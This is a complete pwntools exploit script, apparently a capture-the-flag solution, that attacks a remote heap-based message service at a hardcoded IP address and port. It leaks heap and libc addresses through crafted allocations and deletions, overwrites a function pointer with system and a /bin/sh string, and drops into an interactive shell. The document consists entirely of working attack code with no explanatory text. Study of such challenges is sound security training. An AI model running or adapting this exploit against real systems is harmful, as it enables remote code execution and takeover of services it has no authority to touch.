from pwn import *
context.log_level = 'info'
def New(p, length, content):
p.recvuntil("3. Exit\n\n")
p.send('1\n')
p.recvuntil("Input Message Length:\n")
p.send(str(length) + '\n')
p.recvuntil("Please Input Message:\n")
p.send(content)
def Delete(p, index):
p.recvuntil("3. Exit\n\n")
p.send('2\n')
p.recvuntil('Which Message You Want To Delete?\n')
p.send(str(index) + '\n')
if __name__ == '__main__':
p = remote('202.120.7.194', 6666)
New(p, 1032, 'A\n')
New(p, 1032, 'GGGGGGGGGGGGGGGG\n')
New(p, 2016, 'C\n')
p.recvuntil("3. Exit\n\n")
p.send('2\n')
p.recvuntil('2.')
data = p.recvuntil('GGGGGGGGGGGGGGGG', drop = True)[-16:]
p.recvuntil('Which Message You Want To Delete?\n')
p.send(str(6) + '\n')
heap_addr = u64(data[:8])
log.info("heap addr: " + hex(heap_addr))
Delete(p, 2)
Delete(p, 1)
Delete(p, 0)
'''
0x7fb7d3d0b800: 0x0000000000000043 0x0000000000000408
0x7fb7d3d0b810: 0x00007fb7d3d0b820 0x0000000000400976
0x7fb7d3d0b820: 0x4747474747474747 0x4747474747474747
'''
payload = ''
payload += p64(0x43)
payload += p64(0x408)
payload += p64(0x000000000603280)
payload += p64(0x400976)
New(p, 1032, 'A\n')
New(p, 1032, 'GGGGGGGGGGGGGGGG\n')
New(p, 2016, payload + '\n')
p.recvuntil("3. Exit\n\n")
p.send('2\n')
p.recvuntil('1. ')
libc_start_main_addr = u64(p.recvn(8))
log.info('__libc_start_main() addr: ' + hex(libc_start_main_addr))
p.recvuntil('Which Message You Want To Delete?\n')
p.send(str(6) + '\n')
libc = ELF('./libc.so')
offset_libc_start_main = libc.symbols['__libc_start_main']
offset_system = libc.symbols['system']
offset_binsh = next(libc.search('/bin/sh'))
libc_base = libc_start_main_addr - offset_libc_start_main
system_addr = libc_base + offset_system
binsh_addr = libc_base + offset_binsh
Delete(p, 2)
Delete(p, 1)
Delete(p, 0)
payload = ''
payload += p64(0x43)
payload += p64(0x408)
payload += p64(binsh_addr)
payload += p64(system_addr)
New(p, 1032, 'A\n')
New(p, 1032, 'GGGGGGGGGGGGGGGG\n')
New(p, 2016, payload + '\n')
p.interactive()